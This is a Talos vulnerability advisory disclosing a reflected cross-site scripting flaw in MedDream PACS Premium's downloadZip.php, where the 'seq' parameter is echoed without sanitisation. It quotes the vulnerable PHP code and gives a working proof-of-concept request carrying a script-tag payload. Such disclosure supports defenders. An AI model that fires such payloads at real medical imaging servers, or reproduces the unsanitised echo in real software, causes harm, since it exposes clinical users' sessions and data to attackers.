Talos Vulnerability Report

TALOS-2025-2254

MedDream PACS Premium downloadZip reflected cross-site scripting (XSS) vulnerability

January 20, 2026
CVE Number

CVE-2025-53516

SUMMARY

A reflected cross-site scripting (xss) vulnerability exists in the downloadZip functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious url can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

MedDream PACS Premium 7.3.6.870

PRODUCT URLS

MedDream PACS Premium - https://meddream.com/products/meddream-pacs-server/

CVSSv3 SCORE

6.1 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

DETAILS

MedDream PACS is a DICOM 3.0-compliant server for storing, managing, and retrieving medical images. It includes a web-based DICOM viewer and administration interface, with features like user access control, study forwarding, and multi-format image support.

A pre-authentication reflected cross-site scripting vulnerability exists in the functionality of the Pacs/downloadZip.php script. The value of the seq parameter used in that script is written into the HTML output without any sanitization. The vulnerable code appears as follows:

$seq = $_GET['seq']; /// [1]
if (!isset($_SESSION["downloadFilename-$seq"]) || !isset($_SESSION["downloadPath-$seq"]))
    die("Download sequence [$seq] not found!"); //// [2]

The $seq variable is set by the attacker and is fully controllable [1], if there is no file name entry in SESSION table with the $seq value, an error message is displayed in a form on html code [2]. Example of a malicious request and response containing injected HTML/JavaScript code:

GET /Pacs/downloadZip.php?seq=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
Host: 192.168.0.42
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: sessionCookie=%DC%07%E5Rlp%1B%AA%B8%E6%BE%F3n%FA%E9%97%C70%84%EE%D2%91x%8E%40F%12u%8D%E7%EC%5C; PHPSESSID=d92c6a70310515c9c11b928a9fb86bee; MEDDREAMSESSID=89F9D14757A096B63E147238A622FC72
Upgrade-Insecure-Requests: 1
Priority: u=0, i

RESP

HTTP/1.1 200 OK
Date: Tue, 19 Aug 2025 15:49:14 GMT
Server: =^_^=
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Powered-By: PHP/8.3.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer-when-downgrade
Permissions-Policy: geolocation=(), microphone=(), camera=()
Content-Length: 56
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Download sequence [<script>alert(1)</script>] not found!
TIMELINE

2025-09-02 - Vendor Disclosure
2025-12-05 - Vendor Patch Release
2026-01-20 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.